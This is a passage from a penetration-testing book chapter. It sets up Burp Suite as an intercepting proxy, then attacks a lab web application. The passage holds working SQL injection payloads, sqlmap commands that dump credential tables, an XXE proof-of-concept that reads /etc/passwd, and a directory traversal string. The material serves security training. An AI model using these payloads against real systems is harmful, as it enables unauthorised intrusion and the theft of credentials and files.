Setting Up Burp Suite Community Edition

We'll take a look at Burp Suite now, screen by screen, although screenshots may vary slightly from your version, as the tool is frequently updated.

When you launch Burp Suite, you'll be presented with a dialog box that allows you to start a new project (and which doesn't allow you to save it), as shown in Figure 12.1. All that you need to do here is to click the Next button in the bottom-right corner of the dialog box.

You'll then see another dialog box, as shown in Figure 12.2, which gives you the option to load a configuration file. All you need to do on this occasion is to click the Start Burp button, and the default settings will be used.

After creating a temporary project and starting Burp Suite, you'll be presented with a screen resembling Figure 12.3.

You can hide the Issue Activity pane, which is nothing more than an advertisement for the paid version, by clicking the Hide button. You will then be left with a screen that looks like Figure 12.4.

Along the top of the application window, you'll see various drop-down menus: Burp, Project, Intruder, and so on. Beneath the menu bar, you'll see a number of tabs. Each tab represents a different tool in Burp Suite's collection of tools: Dashboard, Target, Proxy, Intruder, Repeater, and so forth. There is also a tab for User options, where you can change the font size (under the Display sub-tab), which you may wish to do now before proceeding. The application will need to be restarted in order to apply this change.

For now, you will focus on the Proxy tab. Click on that tab to bring up the tool's sub-tabs. Once you have clicked on the Proxy tab, the screen will change and a whole new host of options will appear, including several tabs, as shown in Figure 12.5.

Once inside the Proxy tab, click on the Options tab, which can be found on the second row of tabs in Figure 12.5. You will then see options relating to intercepting requests and responses, as shown in Figure 12.6. Here, make sure that the “Intercept requests based on the following rules” check box is selected and that the first condition is enabled, as shown in Figure 12.6. Below the options for intercepting client requests, you'll see options for intercepting server responses. As you did with the previous options, make sure that the “Intercept responses based on the following rules” check box is selected, and verify that the first condition in the table is enabled.

You have set the required options to tell Burp Suite to intercept and display requests and responses in its Intercept tab. Click on the Intercept tab now to go back to that view, and make sure that the Intercept button (labeled either Intercept is off, or Intercept is on, depending on its state) is depressed or on. Burp Suite is now ready to catch anything sent to it by your web browser, and any responses coming back from the target web server, but nothing will happen in Burp Suite just yet if you start browsing with Firefox. Firefox must be configured to use Burp Suite as a proxy for this to happen. Once enabled, Firefox will send all requests to Burp Suite, which by default is listening on TCP port 8080 on your localhost.

To set up Firefox to use Burp Suite as a proxy, you will need to access the Preferences page, which can be done by entering about:preferences in the browser's address bar. Options in Firefox (and other web browsers) have a habit of changing or moving around, but with a little investigation, you should be able to find the correct options if this is the case. On the Preferences page, shown in Figure 12.7, scroll downwards until you see the Network Settings or Network Proxy header and click the Settings button.

A dialog box should appear, as shown in Figure 12.8. This is where you will make the required changes to allow Burp Suite to intercept web requests sent from Firefox. Select the Manual proxy configuration option, and make sure that your HTTP Proxy has been set to 127.0.0.1. You will need to type this into the text box. Remember that Burp Suite's proxy service is listening on TCP port 8080 by default, so this is the port number you should enter in the Port box. You should also ensure that the “Use proxy server for all protocols” check box is selected. Once you have done this, you can click OK.

You are now ready to start requesting web pages with your browser. Specify the URL http:// <TargetIP> in your browser's address bar where <TargetIP> is the IP address of the Virtual Machine (VM) running the book lab. If you've followed along and completed all of the steps so far, the browser should not load a page (it will appear to hang), because Burp Suite will have intercepted the request. Switch to Burp Suite and make sure that you're on the Intercept tab. In the window, you should see the request sent by your browser—something like the one shown in Figure 12.9. You now have the option to allow the request to go on its merry way to the target destination with or without editing it, or you can drop the request using the Drop button’ in other words, to stop it from going any further. For now, click Forward and let it go unchanged.

The next thing that you will see if your request was sent to the correct IP address, and the target is serving HTTP on TCP port 80, is the server's response in the same window, as shown in Figure 12.10. Let this go to Firefox now by clicking the Forward button again. Switch back to Firefox, and you should see that a web page has loaded. This is the basic function and operation of an intercepting proxy. You do not need to keep using Burp Suite in this way, but knowing how to do this will help explain other functions. To stop Burp Suite from intercepting your web requests, click the Intercept Is On button to turn off the interceptor. This will allow you to browse without having to let each request and response go through manually. Burp Suite is still proxying your traffic, though, and keeping a record of requests and responses.

Note that if you close Burp Suite now, you will not be able to browse sites because requests are still being sent to 127.0.0.1:8080. To return your browser to normal, you will need to reverse the steps shown earlier and disable the proxy server setting. There are plugins that you can install within Firefox, which you may find useful for enabling and disabling proxy settings quickly, such as FoxyProxy (addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard). Once you are happy with the basic concept of intercepting HTTP requests and responses (we'll get to HTTPS shortly), check out the Target tab in Burp Suite next.

If you continue to browse a website in Firefox with Burp Suite running, you will see various resources—web pages and other content—fill up on the left side of the screen under the Target tab and Site Map sub-tab. Clicking on the little arrow to the left of the target address in the list, or right-clicking on the target address and selecting Expand Branch from the context menu, will expand the item, revealing various files and directories, as shown in Figure 12.11. You can keep clicking these little arrows to expand the branches further.

Burp Suite will create a map or tree-like representation of the web application. You will also see items or resources appear, which you have not requested and that don't even reside on the target host. Burp Suite does this by looking at the responses received and seeking out references to other content within them.

Using Burp Suite Over HTTPS

You will also certainly need to connect to a target site over HTTPS at some point (many web applications will operate exclusively over HTTPS) perhaps with only a redirect served from port 80 to port 443. If you try and access the book VM with your browser by entering https:// <TargetIP> into your browser's address bar, you should see that you cannot access the site via Burp Suite. In order to use Burp Suite as a proxy for HTTPS traffic, you will need to obtain a certificate from Burp Suite and import it into Firefox so that this browser trusts it to be a secure connection. You can do this by visiting http://localhost:8080. Enter this into your browser's address bar and click Enter—you'll see a screen resembling Figure 12.12. Click on the CA Certificate link.

You will be presented with a download file dialog box (see Figure 12.13). Save the file to wherever you usually save your downloads. You will be importing this file into Firefox in the next step.

Once you have a copy of this certificate in a known location on your computer, you can import it into Firefox. Open the Preferences page, as you did before when configuring proxy settings. This time, head to Privacy & Security, and scroll down to the bottom of this page. You are looking for options related to certificates. Click the View Certificates button, as shown in Figure 12.14, and a dialog box will appear.

In the Certificate Manager dialog box, shown in Figure 12.15, you'll need to ensure that the Authorities view is selected. This is the default selection. You need to do this because we are importing details of a Certificate Authority. Click on Import now and choose the file that you obtained from Burp Suite.

You will then be presented with some options with regard to the certificate, as shown in Figure 12.16. Make sure that you select the “Trust this CA to identify web sites” check box, and then click OK. Note that the name of the certificate authority is PortSwigger CA. PortSwigger is the name of the company that develops Burp Suite.

After the PortSwigger CA certificate has been successfully imported, you should try connecting to the book VM on TCP port 443 with your browser and with Burp Suite still configured as a proxy. You should now be able to browse the site with no issues over HTTPS. When you do so, you will probably see a warning message from Firefox—something like the one shown in Figure 12.17. In this case, you can click the Advanced…button.

After clicking the Advanced button, click the Accept The Risk And Continue button, as shown in Figure 12.18.

Zed Attack Proxy

Zed Attack Proxy (ZAP) is a tool that is similar to Burp Suite. It contains various tools for testing web applications, and it is open source. The complete version can be downloaded and used for free, and it includes an active scanning tool, which you can launch using the keyboard shortcut Ctrl+Alt+A, or by selecting Active Scan from the Tools drop-down menu at the top of the main screen. Options can be set and the tool can be launched in almost exactly the same way as the Spider tool already demonstrated. Figure 12.24 shows the Alerts tab. Any issues found by the Active Scan will be added here. Notice that each issue can be selected, and you can read about it within ZAP. You will find extensive documentation on the ZAP homepage (www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project) to help you use this tool.

Burp Suite Professional

The commercial version of Burp Suite, Burp Suite Professional, includes automated scanning in the form of its passive and active scanner. These tools are a great compliment to the manual testing and other automated tools that you'll be using. The passive scanner will use the web requests that you make, without altering them, in order to detect vulnerabilities, and the active scanner will send potentially thousands of custom requests to try to identify flaws. It is possible to control the nature of these requests carefully so that only certain parts of an application are tested and at a rate that will not overwhelm the underlying web server.

We recommend using Burp Suite Professional if you're going to be testing a lot of web applications, and after you've already learned how to find and exploit common web app flaws and weaknesses manually. Burp Suite Professional's Active Scanner, and indeed any automated web vulnerability scanner, will almost certainly produce a lot of false positives. Every issue found by tools such as these still needs to be verified manually, and often you'll find that there is no issue. Take the “credit card numbers found” issue, for example. Upon first seeing this, you may frantically start to rub your hands together and pat yourself on the back for finding such a critical issue so quickly. Perhaps you're a natural? Look again, however. The active scanner will flag as a potential flaw any string of digits loosely resembling a credit card number that it finds on any web page. This is just one example. In fact, Burp Suite Professional even includes a simple feature to label issues as false positives to help keep your results organized.

Skipfish

Skipfish (code.google.com/archive/p/skipfish) is a web application active scanning tool released by Google. This tool was authored by Michael Zalewski, whose work is seminal in security, having developed automated ways to find vulnerabilities at scale. Skipfish is an incredibly insightful open source vulnerability scanner that can perform form poisoning and a multitude of common attacks to identify OWASP Top 10 and many other vulnerabilities. This is a highly recommended open source alternative for command-line users who are comfortable using a range of tools. The output reports are generated in an easy-to-understand HTML format. This makes an excellent alternative to Burp Suite when used with Mitmproxy, however, as it is a more advanced tool that requires configuration and adjusting for effective use, we only suggest it when you are comfortable with using the earlier mentioned tools.

SQL Injection

When it comes to web applications, one particular form of injection that has made countless headlines and still poses a risk is SQL injection. Most automated tools do a good job of detecting this high-profile vulnerability, but we will now show you how to find and exploit such flaws manually. During your manual browsing and exploration of the book lab's web application, perhaps you stumbled across the “pony app,” which is nothing more than an image gallery. Perhaps you noticed the parameters in the URL for this page? This web application hosted by our book lab has a photo album of sorts where you can view an image and some text by clicking different links (see Figure 12.25). Notice the address for this page and how it changes when you click these links. It will look like this: http://<TargetIP>/ponyapp/?id=2&image=dashie.png.

Suppose that these images and text are stored in a database—what might the SQL query used to select each image and image caption look like? You can get an idea by looking at the parameters in the URL. There is an id parameter and an image parameter. You can easily perform some basic checks here using parameter tampering, but first look at what happens when you click on each of the links on this page to change the image. Clicking on the 3 link changes the id to 3 and image=pinkiepie.png. Instead of clicking on a link, try manually changing that id parameter in your browser. If you change this to a 2, the text changes to Rainbow dash!, but the image stays the same. Perhaps changing the id parameter only alters the caption that is displayed. The image parameter could be a filename. The id parameter could be the primary key in a table that stores image captions. Changing the id to 4 results in no message being displayed, so perhaps there are only three entries in the underlying table.

To check for the possibility of SQL injection, add a single tick ( ‛) after a valid id parameter—for example, 1—so that the URL looks like this (your target IP address may be different):

http://192.168.56.104/ponyapp/?id=1'&image=derpy.png

If there is an underlying SQL statement here, then this could alter it and cause an error. Sometimes, this will cause an HTTP 500 error message to appear, and you could see detailed information about the problem. This information should not be visible to members of the public or would-be attackers. In this particular case, no error message is displayed, but the application stops working as it should. Notice that no caption is displayed when entering a valid id such as 1. This is a common first indication of a SQL injection flaw. Adding another single tick to your input should be tried next. If the application works correctly again, then this is another common indicator:

http://192.168.56.104/ponyapp/?id=1"&image=derpy.png

In the case of this book lab web application, though, a second single tick mark does not return the application to its working state. Let's assume that there is a flaw here, however, and try altering the underlying query. The next thing you should try is id=1 OR 1=1, which is perfectly valid SQL. Since 1 always equals 1, this statement will be interpreted as id=1 OR True. This means that the query will not only return a single record whose id is equal to 1, but all records regardless of their id, assuming that the query can be altered. To attempt this, your URL should look like the following. The spaces should work when entered into your browser's address bar. If not, use a plus symbol ( +) instead of a space or %20 (a URL encoded space):

http://192.168.56.104/ponyapp/?id=1 OR 1=1&image=derpy.png

You will see that three captions are returned as shown in the following screen. You have been able to alter the underlying SQL query, and this confirms a SQL injection flaw.

Derpy says hi
Rainbow dash!
Computers are awesome

Let's suppose that the underlying SQL query, as specified by the developer of this site, looks like the following:

SELECT description FROM ponypics WHERE id = <id>

By using id=1 OR 1=1, which will always be evaluated as true, then the modified query to be executed reads as follows:

SELECT description FROM ponypics WHERE id = TRUE

What this will do is return all rows from the table, where id has a value, rather than just a single row.

In fact, replacing the 1=1 with true or simply 1, within the URL will also work, but that isn't always the case. Try these two URLs, and you should get the same results:

http://192.168.56.104/ponyapp/?id=1 OR 1=1&image=derpy.png

http://192.168.56.104/ponyapp/?id=1 OR true&image=derpy.png

At this point, you can safely assume that there is a table with three records in it, and that one of the columns is a caption or comment column that contains these strings. That table may look like the following (we're still guessing at this point), but we have more information now:

This is a non-blind SQL injection flaw. You are able to inject some SQL and see a visible change to the web application’s output; that is, a change in behavior of the website. Oftentimes, it can be subtler than this, and you would not see any change in visible output, which is referred to as blind SQL injection. There are other ways to detect this type of flaw, and we'll get to those later.

You know that you can alter the existing SQL query, but is it possible to stack further queries on top of this? Try the following code snippet, which attempts to end the original query with a semicolon ( ;) and then start a new query after it, which is perfectly valid SQL syntax:

http://192.168.56.104/ponyapp/?id=1;select @@version&image=foo

The initial, expected query is terminated with a semicolon ( ;) and a new query is added: select @@version. Remember that @@version is a valid built-in function. The semicolon ( ;) terminates the line, and then you add a new query. Yet, in this case, it doesn't appear that stacked queries work through this application since there is no version information being sent back from the database. Try using the UNION keyword next, which is used when you want to output the contents of more than one table at the same time but view the rows and columns as though they belong to one table. (You might think that JOIN would be a better keyword to describe this, but a JOIN in SQL is something else entirely and is used to join tables based on the relationships between them.)

For a UNION query to work, the queries that are to be output in union need to have the same number of columns. In this case, the original query returns just one column—a description column as far as we can tell. Whatever we add to the original query using a union should also output one column. The @@version function only returns one column (and one row) too, so this is a good candidate with which to begin. Try the following:

http://192.168.56.104/ponyapp/?id=1 UNION SELECT @@VERSION&image=derpy.png

You should see that the version information is output this time:

Derpy says hi
5.1.73-1

This query works because both the original query and the @@VERSION function return a single column. You can add additional empty columns to a UNION query using the null keyword. If you do this as follows, the query will not work because the original query returns a single column, while the additional part returns two columns—the @@VERSION output and a null or empty column:

http://192.168.56.104/ponyapp/?id=1 UNION SELECT @@version,null&image=derpy.png

You can see that null really does work by using the following query:

http://192.168.56.104/ponyapp/?id=1 UNION SELECT null&image=derpy.png

That query is perfectly valid. Only this time, instead of the version number being displayed, a single blank (or null) field is shown. The original query and the union both balance—they return a single column. Sometimes, you will need to add multiple NULL columns to the original query and your union query in a process known as balancing the SQL query. You can start with one NULL column and keep adding NULL columns until you get the correct number of columns that do not produce an error. Remember that when you’re using UNION , the query you inject must return the same number of columns as the original query.

You have performed some very basic SQL injection, but let's take it further and see how you could begin to map out the database and extract data from other tables. Alter your query as follows:

http://<TargetIP>/ponyapp/?id=1 UNION SELECT schema_name FROM information_schema.schemata&image=derpy.png

Here you are querying the schemata table in the information_schema database. This query will return the schema_name column, which will tell you the names of other databases running on this server:

Derpy says hi
information_schema
drupal
mysql
pony

Now that you know the names of these databases, you can list the tables within them. To list the tables within the pony database, you can do the following. If you want to list the tables in the drupal database, just change 'pony' to 'drupal'.

http://<TargetIP>/ponyapp/?id=1 UNION SELECT table_name FROM information_schema.tables WHERE table_schema = ‘pony’&image=derpy.png

Derpy says hi
ponypics
ponyuser

That statement resulted in ponypics and ponyuser being displayed. These are the names of the tables within the pony database. Perhaps the ponypics table is the one that stores the descriptions for each image. Try listing the columns of that table as follows:

http://192.168.56.104/ponyapp/?id=1 UNION SELECT column_name FROM information_schema.columns WHERE table_name = ‘ponypics’&image=derpy.png

You will see that our earlier guess wasn't correct. Thanks to that last query, you now know that the table has three columns:

id
description
image

Once you have the names of databases, tables, and columns, you can start querying to extract data rather than just metadata. For example:

http://192.168.56.104/ponyapp/?id=1 UNION SELECT image FROM pony.ponypics&image=derpy.png

The returned data isn't particularly interesting or sensitive. By piecing together what you've seen so far, you should be able to output a list of usernames and passwords. The goal of this exercise is to enumerate the databases and tables within them, eventually extracting all data and re-creating the database on your own machine. You can then show your client that it is possible for an attacker to obtain all of their customer's sensitive details from their backend database through a flaw in their web application. The implications go further than this, though. You may have realized that if you are able to inject SQL, statements, then perhaps it is possible to upload files too. You should certainly be attempting to be upload and download files when you come across a flaw like this. You can use exactly the same method that we demonstrated in the previous chapter. Try this as a starting point:

http://192.168.56.104/ponyapp/?id=1 UNION SELECT load_file('/etc/passwd')&image=derpy.png

SQLmap

It is possible to map out an entire database by hand, but it would take a lot of time-consuming work. Fortunately, this enumeration of the database schema process has been automated in the form of SQLmap—a very useful tool for demonstrating exploitation of SQL injection flaws. It comes bundled with Kali Linux, and can also be found at github.com/sqlmapproject/sqlmap.

SQLmap is a tool designed to exploit SQL injection vulnerabilities automatically and map out the entire backend database by injecting queries like those just seen—querying the information_schema and then systematically querying all tables for their contents. You can view basic help and information for the tool with sqlmap -h.

SQLmap will attempt to discover different variations of SQL injection vulnerabilities. We looked at a simple case in the previous section, which is known as non-blind SQL injection. In other words, the web application or server did not display an error message relating to SQL injection, but the results of the injection are clearly visible on the page. If the results had not been visible or returned, this would have been a blind SQL injection vulnerability. Fortunately, it was easy to confirm SQL injection in this case because the application's output visibly changed.

Imagine, however, if there was nothing output to screen. A different approach must be used to discover the flaw. This can be done by using timing to your advantage. If you suspect a SQL injection vulnerability, you can attempt to inject a PAUSE or DELAY command or function. This will stop the SQL query from completing until the pause has been satisfied, and you will notice a delay in the response that comes back from the server. Setting a large delay (such as 30 seconds) will visibly show when an attack is successful, as the page will take 30 seconds longer to load. This can, however, result in false positives by scanning tools that measure the time a page loads when scanning for blind SQL injection attacks.

Here is another opportunity to load up Wireshark so that you can see the raw packet data being communicated between SQLmap and the web server. For SQLmap to function correctly, you should provide it with a URL (be sure to enclose it in double quotes) that has not been tampered with:

sqlmap -u "http://192.168.56.101/ponyapp/?id=1&image=derpy.png"

SQLmap can be rather verbose by default (and made more so with the -v option). You will see some output when you use the previous command, and it should look something like this:

___
 __H__
 ___ ___[']_____ ___ ___ {1.3.4#stable}
|_ -| . ['] | .'| . |
|___|_ [.]_|_|_|__,| _|
 |_|V… |_| http://sqlmap.org
 
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
 
[*] starting @ 13:40:48 /2019-09-11/
 
[13:40:48] [INFO] testing connection to the target URL
[13:40:48] [INFO] heuristics detected web page charset 'ascii'
[13:40:48] [INFO] testing if the target URL content is stable
[13:40:49] [INFO] target URL content is stable
[13:40:49] [INFO] testing if GET parameter 'id' is dynamic
[13:40:49] [WARNING] GET parameter 'id' does not appear to be dynamic
[13:40:49] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[13:40:50] [INFO] testing for SQL injection on GET parameter 'id'
[13:40:50] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:40:50] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Derpy says hi")
[13:40:50] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

SQLmap has carried out some basic checks here, and it says that the id parameter appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Derpy says hi"), which is a different method from the one we used. You will see something like the following payloads if you increase SQLmap's verbosity to level 3 using the -v3 option when you run the tool:

[13:47:55] [PAYLOAD] 1 AND 3169=3169
[13:47:55] [PAYLOAD] 1 AND 4757=5610

Instead of using an OR operator as you did, SQLmap has used an AND operator. If the numbers match, the underlying query should execute as normal. If they do not, the query should not output its usual string. Both types are known as Boolean-based, since they rely on the evaluation of logical operations that result in true and false values.

You will notice that SQLmap pauses its execution to await your response with the final line of output reading:

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

As you have already carried out manual checks, you suspect that the back-end DBMS is MySQL (remember the @@VERSION function) and can enter Y here. You will probably be prompted again with the following message:

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]

Choosing n here will prevent SQLmap from carrying out tests higher than the chosen level and risk, which can be set with the --level and --risk options—for example, --level=2 --risk=2. You should find that answering n here will still identify the vulnerability that you found earlier. Soon you will see more output that corresponds with what you saw earlier—that the original SQL query has a single column, and that the id parameter is injectable by using a UNION query.

Another prompt will ask if you want to test other parameters in the URL that you supplied. You can answer N here, but if you did suspect other parameters were also injectable, you should choose y (or carry out a separate test for that parameter).

[14:07:28] [INFO] target URL appears to have 1 column in query
[14:07:28] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

Eventually, you will see something resembling the following screen:

sqlmap identified the following injection point(s) with a total of 41 HTTP(s) requests:
---
Parameter: id (GET)
 Type: boolean-based blind
 Title: AND boolean-based blind - WHERE or HAVING clause
 Payload: id=1 AND 9911=9911&image=derpy.png
 
 Type: time-based blind
 Title: MySQL>= 5.0.12 AND time-based blind
 Payload: id=1 AND SLEEP(5)&image=derpy.png
 
 Type: UNION query
 Title: Generic UNION query (NULL) - 1 column
 Payload: id=1 UNION ALL SELECT CONCAT(0x716a706271,0x66655078566a794b6c58686b4248534a64627a624b484a45716e6377514a4b4d6b45746f6b62467a,0x7170707a71)-- tBkY&image=derpy.png
---
[14:07:34] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.2.21, PHP 5.3.8
back-end DBMS: MySQL>= 5.0.12
[14:07:34] [INFO] fetched data logged to text files under '/home/hacker/.sqlmap/output/192.168.56.104'

Here you can see that the id parameter has been found to be injectable using three different distinct SQL injection techniques: Boolean-based blind, time-based blind, and UNION query. You've already seen how boolean-based and UNION queries work, but take a look at the payload used for the time-based injection, typically used with blind SQL injection:

id=1 AND SLEEP(5)&image=derpy.png

If you manually insert this in your browser's address bar into the URL that you've been checking, you should notice a five-second delay in the time that it takes the server to respond. This is one way to check for flaws when the application’s visible output is unaffected—by introducing an artificial delay, we can monitor the application behavior to determine if a SQL statement has been executed with our malicious input. To be clear, the full URL will be:

http://<TargetIP>/ponyapp/?id=1 AND sleep(5)&image=derpy.png

SQLmap detected that the backend RDBMS is MySQL and returned some information about the OS, web server software, and server-side scripting language. If you were to run SQLmap again with the same arguments, it will not repeat the entire process that you've just seen. It has saved its findings in your home directory under .sqlmap and now just gives you the results. It will also save your client data here, so be sure to clean up these files regularly.

The pièce de résistance of SQLmap is its database enumeration capabilities. You can use a number of different options to extract different parts of the target database, such as --passwords to extract the RDBMS's usernames and passwords (including the MySQL root user), --current-user to see which user the RDBMS is running as (a web application should never be accessing a backend database as the RDBMS's root user), or --tables to list all tables within all databases running on the system. Use -a to grab absolutely everything, but use that one with caution—it will take time and make a lot of noise in the log files! Add the option to the end of the command that you used earlier as follows:

sqlmap -u "http://<TargetIP>/ponyapp/?id=1&image=derpy.png" --passwords.

SQLmap has some built-in password hash cracking functionality that you can use if you wish. Alternatively, save a file for use later when prompted.

You can dump the contents of tables within a particular database using the following command. Here the contents of the tables in the pony database will be displayed:

sqlmap -u "http://192.168.56.104/ponyapp/?id=1&image=derpy.png" --dump -D pony

You should see that two tables (and some informational messages) are output if you run this command, as displayed here:

+----+-------------+----------+
| id | username | password |
+----+-------------+----------+
| 1 | pinkiepie | cupcakes |
| 2 | rainbowdash | bestpony |
| 3 | applejack | yeehaw |
| 4 | derpy | afdsfs |
+----+-------------+----------+
 
+----+---------------+-----------------------+
| id | image | description |
+----+---------------+-----------------------+
| 1 | derpy.png | Derpy says hi |
| 2 | dashie.png | Rainbow dash! |
| 3 | pinkiepie.png | Computers are awesome |
+----+---------------+-----------------------+

Now imagine that this is a custom web application belonging to your client, where sensitive customer data is stored in a MySQL or other database. Once a SQL injection flaw is found, it is relatively easy to make a copy of all sensitive data stored within the database.

SQLmap can be used where you have not already verified a SQL injection vulnerability. You can supply it with URLs that look promising or potentially injectable. However, SQLmap is anything but discreet—it will send a lot of requests and cause a lot of errors and noise in general. It has a lower success rate of detection than manual verification, and it should not be relied upon as the sole means of detecting SQL injection attacks. It is usually a good idea to perform manual checks first and then give SQLmap precise arguments regarding what should be tested after you have manually verified a potential attack path.

Drupageddon

Drupageddon, officially designated CVE-2014-3704, was a SQL injection vulnerability that affected not just a single web application, but almost every web application using the Drupal CMS between certain version numbers. Its unofficial name came about due to the severity of the vulnerability. This is not the same SQL injection vulnerability that you have just seen, but another, different vulnerability. The flaw allows Drupal's built-in authentication to be bypassed, and it allows code execution. There were further major Drupal flaws (there have been plenty of Drupal flaws found in recent years), such as CVE-2018-7600, dubbed Drupalgeddon 2 and CVE-2018-7602: Drupalgeddon 3 (note the inclusion of a l in the name now), although the later vulnerabilities are not SQL injection based vulnerabilities. Drupageddon allows remote code execution, and it was widely exploited for distributing cryptocurrency mining software—software that runs on the victims’ computers without their knowledge, to mine cryptocurrency for the attacker! A module for CVE-2014-3704 can be found in Metasploit and will work against our book lab. The exploit leverages a SQL injection attack to gain Administrator privileges in vulnerable Drupal configurations and then continues to improve on the attack using Drupal's features to upload PHP code resulting in a command shell.

Protecting Against SQL Injection

Prepared statements, also known as parameterized queries, are a key defense against SQL injection. You'll be hard-pressed to find a web developer today who isn't at least aware of SQL injection, yet such injection issues come up more than you would think. Sometimes, escaping user input is used as a way to prevent SQL injection, but this is not a reliable defense and should not be recommended to your client over prepared statements or parameterized queries. Part of the problem occurs when people use third-party libraries and simply assume that things are written correctly or protected—often those libraries introduce the vulnerabilities, as they do not account for input validation at an API level but instead expect the developer to sanitize the input before use.

Another issue is developers not using prepared statements for all queries and only focusing on those to which they think the user has access. Generally speaking, SQL injection is a problem that people are well aware of in the IT industry, thanks to the number of public breaches that have taken place. Nonetheless, many IT professionals still incorrectly assume that it is a resolved issue. It is still a widely seen and actively exploited flaw responsible for a vast number of breaches.

Other Injection Flaws

SQL injection is certainly not the only type of injection that can affect a web application. You have already seen some other types of injection attacks in this book which also apply here, including attacks such as LDAP and OS command injection. NoSQL injection is also a real risk, as is XML injection, which we'll come to soon.

CVE-2014-3660

CVE-2014-3660 affects Drupal, and it allows external entities to be loaded thanks to problems with the parser used by Drupal. This can be done by a non-authenticated user of the Drupal CMS, yet sensitive files can be read, including Drupal's settings.php file.

Visit the part of the book lab's web application that accepts XML. In this particular case, it's well advertised on the home page. Intercept the request sent by your browser with Burp Suite's Interceptor, and you will see that you have a GET request destined for /?q=xml/node/2. Right-click on the request and choose Send To Repeater. From here, you can keep sending requests with slight modifications to see how XML works and how this bug can be found.

Notice that when you send the GET request from the Repeater to the application, you receive a response that includes the Content-Type header: application/xml. The content of this response does appear to be XML—just take a look at the body of the response.

You should now try to send some XML to the server to see if it responds with XML in turn. Before trying this, change the request type from GET to POST by editing the method within the repeater.

Sometimes switching POST requests to GET requests will cause an application to expose information inadvertently. Generally speaking, applications should allow GET requests to obtain information and POST requests to submit information that may have some impact on the application's backend state. It is typical for an application to accept XML as a POST request. You can try sending the request now, but you'll get back an error message. Instead, specify the content type of your requests as application/xml by adding the Content-Type header. Send the request again but this time changes the URL to /?q=xml/node see what happens. There is a problem with the request again, but this time you have received some further information to assist you. Some XML has been returned with an empty <result> node.

Copy across the initial part—the first line of XML ( <?xml version="1.0" encoding="utf-8"?>)—that has been sent in this response and try sending it again. This time, you will get a response back that yields more information. The application is expecting a <start> tag. In many cases, a web application's documentation will tell you how you can use its XML functionality. Once you've figured out how to use it legitimately, you can attempt to inject malicious content. There's an xxe-poc.txt, proof-of-concept (PoC), file on our server that you can download. The xxe-poc.txt file contains XML that first injects an entity (called evil) that references not a backend file but some base64 encoded data within the XML file itself. It does this using the php://filter wrapper to read and decode the base64 encoded data. What do you suppose this data contains? First, take a look at the xxe-poc.txt file:

<!DOCTYPE root [ <!ENTITY % evil SYSTEM "php://filter/read=convert.base64-decode/resource=data:,PCFFTlRJVFkgJSBwYXlsb2FkIFNZU1RFTSAicGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS9ldGMvcGFzc3dkIj4KPCFFTlRVFkgJSBpbnRlcm4gIjwhRU5USVRZICYjMzc7IHRyaWNrIFNZU1RFTSAnZmlsZTovL1cwMFQlcGF5bG9hZDtXMDBUJz4iPg">
%evil;
%intern;
%trick;
]>
<xml>
 <test>test</type>
</xml>

Now decode the base64 encoded data using Burp Suite’s Decoder, or the command echo <Base64String> | base64 --decode, and you'll see some additional XML, as shown below:

<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % intern "<!ENTITY &#37; trick SYSTEM 'file://W00T%payload;W00T'>">

If you paste the code from that poc file into Burp Suite's Repeater where you started to assemble an XML request and send it, you'll see that initially the response says, "Unable to load external entity." Generally, you wouldn't want to see servers do this. However, the application shows you an error message that includes some additional base64 encoded data. By using php://filter, it is possible to read and display the given file ( /etc/password unless you changed it). Decoding the base64 string that is returned will indeed show you that this is the servers passwd file.

There is a Python script available from the files directory (www.hackerhousebook.com/files/drupal-CVE-2014-3660.py) that exploits this bug automatically. The Python script is an automated way of running this attack. You just need to give it the correct arguments (use local)—use python3 for this, and you'll be able to request any file from the server!

Directory Traversal

The book lab's web application contains a nice directory traversal bug for you to examine. The URL to inspect is the same as the one we explored for SQL injection (http://<TargetIP>/ponyapp/?id=1&image=derpy.png). You saw a SQL injection flaw here with the id parameter, but what about that image parameter? Did you fully explore it earlier? The image parameter looks like it is used to specify a filename, making it a good candidate for testing for directory traversal. We explored directory traversal attacks in earlier chapters—this type of vulnerability allows you to access content outside of an intended path using strings such as ../../. You can find this bug using your browser. First check the source of the web page—the HTML—using your browser features and examine the source code for the image on this page. You can do this by right-clicking on the image and then selecting Inspect Element from the context menu (if you’re using Firefox). You will see that within the opening and closing img tags is base-64 encoded data—that's the image being displayed. Try replacing derpy.png in the URL (in your browser's address bar) with /etc/passwd and then check the source of the web page—the HTML. You should see that the base64 data has disappeared—the file is not valid. Add ../ to the URL in front of etc/passwd, and check the source again. Can you see anything change? Keep adding ../ and checking the source until you see base64 data appear—a string such as ../../../../../../../../etc/passwd should be sufficient. Once the application returns some data, you should decode it using the Burp Suite Decoder. By decoding the base64 data using Burp Suite’s Decoder, you should find that you are able to read the / etc/passwd file! You could also use Python and the base64 module to decode the data—simply type import base64 into an interactive Python terminal. This will import the base64 module and functions, allowing you to encode and decode quickly. You can use the following command but replace <data> with your base64 string obtained from the IMG tags when using the directory traversal attack string as in the previous example.

base64.b64decode("<data>")

Error Pages and Stack Traces

